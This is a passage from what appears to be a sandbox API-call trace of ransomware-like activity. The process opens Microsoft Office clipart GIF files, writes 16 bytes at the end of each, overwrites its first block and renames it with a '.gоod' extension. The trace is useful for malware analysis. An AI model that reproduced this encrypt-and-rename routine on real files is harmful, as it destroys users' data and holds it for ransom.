Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF", lpFilePart=0x0) returned 0x44 [0131.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0131.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0131.544] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4a9f0e69, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcc0)) returned 1 [0131.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0131.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.gоod")) returned 1 [0131.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0131.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0131.545] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), fInfoLevelId=0x0, lpFileInformation=0x366fbb0 | out: lpFileInformation=0x366fbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb58a9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1)) returned 1 [0131.545] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0131.545] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0131.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0131.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0131.546] GetFileType (hFile=0x61c) returned 0x1 [0131.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0131.546] GetFileType (hFile=0x61c) returned 0x1 [0131.546] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0131.546] ReadFile (in: hFile=0x61c, lpBuffer=0x366ffc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x366ffc8*, lpNumberOfBytesRead=0x1faedd28*=0xfa1, lpOverlapped=0x0) returned 1 [0132.174] CloseHandle (hObject=0x61c) returned 1 [0132.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0132.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.347] GetFileType (hFile=0x644) returned 0x1 [0132.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.347] GetFileType (hFile=0x644) returned 0x1 [0132.348] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1fa1 [0132.348] WriteFile (in: hFile=0x644, lpBuffer=0x378b8d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x378b8d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0132.379] CloseHandle (hObject=0x644) returned 1 [0132.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0132.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.731] GetFileType (hFile=0x6e0) returned 0x1 [0132.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.758] GetFileType (hFile=0x6e0) returned 0x1 [0132.758] ReadFile (in: hFile=0x6e0, lpBuffer=0x372cd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x372cd30*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0132.785] CloseHandle (hObject=0x6e0) returned 1 [0132.785] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0132.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.786] GetFileType (hFile=0x6e0) returned 0x1 [0132.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.786] GetFileType (hFile=0x6e0) returned 0x1 [0132.786] WriteFile (in: hFile=0x6e0, lpBuffer=0x36ef0c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36ef0c0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0132.786] CloseHandle (hObject=0x6e0) returned 1 [0132.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF", lpFilePart=0x0) returned 0x44 [0132.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0132.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0132.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4b5b68a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1fb1)) returned 1 [0132.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0132.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.gоod")) returned 1 [0132.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0132.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0132.787] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37aa1d0 | out: lpFileInformation=0x37aa1d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e06)) returned 1 [0132.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0132.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0132.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.788] GetFileType (hFile=0x6e0) returned 0x1 [0132.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.788] GetFileType (hFile=0x6e0) returned 0x1 [0132.788] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0132.789] ReadFile (in: hFile=0x6e0, lpBuffer=0x37aa5e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37aa5e8*, lpNumberOfBytesRead=0x1faedd28*=0xe06, lpOverlapped=0x0) returned 1 [0132.790] CloseHandle (hObject=0x6e0) returned 1 [0132.790] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0132.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.790] GetFileType (hFile=0x6e0) returned 0x1 [0132.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.790] GetFileType (hFile=0x6e0) returned 0x1 [0132.790] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1e06 [0132.790] WriteFile (in: hFile=0x6e0, lpBuffer=0x37ab880*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37ab880*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0132.791] CloseHandle (hObject=0x6e0) returned 1 [0132.791] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0132.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0132.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0132.791] GetFileType (hFile=0x6e0) returned 0x1 [0132.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0132.791] GetFileType (hFile=0x6e0) returned 0x1 [0132.791] ReadFile (in: hFile=0x6e0, lpBuffer=0x37adb40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37adb40*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0133.816] CloseHandle (hObject=0x6e0) returned 1 [0133.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0133.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0133.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0133.816] GetFileType (hFile=0x6e0) returned 0x1 [0133.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0133.816] GetFileType (hFile=0x6e0) returned 0x1 [0133.816] WriteFile (in: hFile=0x6e0, lpBuffer=0x366c530*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x366c530*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0133.817] CloseHandle (hObject=0x6e0) returned 1 [0133.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF", lpFilePart=0x0) returned 0x44 [0133.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0133.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0133.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4bf9fba2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e16)) returned 1 [0133.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0133.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.gоod")) returned 1 [0133.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0133.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0133.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37f4758 | out: lpFileInformation=0x37f4758*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e73)) returned 1 [0133.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0133.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0133.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0133.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0133.819] GetFileType (hFile=0x6e0) returned 0x1 [0133.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0133.819] GetFileType (hFile=0x6e0) returned 0x1 [0133.819] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0133.819] ReadFile (in: hFile=0x6e0, lpBuffer=0x37f4cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37f4cb0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0133.821] CloseHandle (hObject=0x6e0) returned 1 [0133.821] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0133.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0133.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0133.821] GetFileType (hFile=0x6e0) returned 0x1 [0133.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0133.999] GetFileType (hFile=0x6e0) returned 0x1 [0134.510] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2e73 [0134.571] WriteFile (in: hFile=0x6e0, lpBuffer=0x37f9f70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37f9f70*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0134.572] CloseHandle (hObject=0x6e0) returned 1 [0134.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0134.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0134.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0134.572] GetFileType (hFile=0x6e0) returned 0x1 [0134.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0134.572] GetFileType (hFile=0x6e0) returned 0x1 [0134.572] ReadFile (in: hFile=0x6e0, lpBuffer=0x37fc230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37fc230*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0134.600] CloseHandle (hObject=0x6e0) returned 1 [0134.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0134.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0134.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0134.600] GetFileType (hFile=0x6e0) returned 0x1 [0134.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0134.600] GetFileType (hFile=0x6e0) returned 0x1 [0134.600] WriteFile (in: hFile=0x6e0, lpBuffer=0x37faf88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x37faf88*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0134.600] CloseHandle (hObject=0x6e0) returned 1 [0134.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF", lpFilePart=0x0) returned 0x44 [0134.600] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0134.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0134.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), 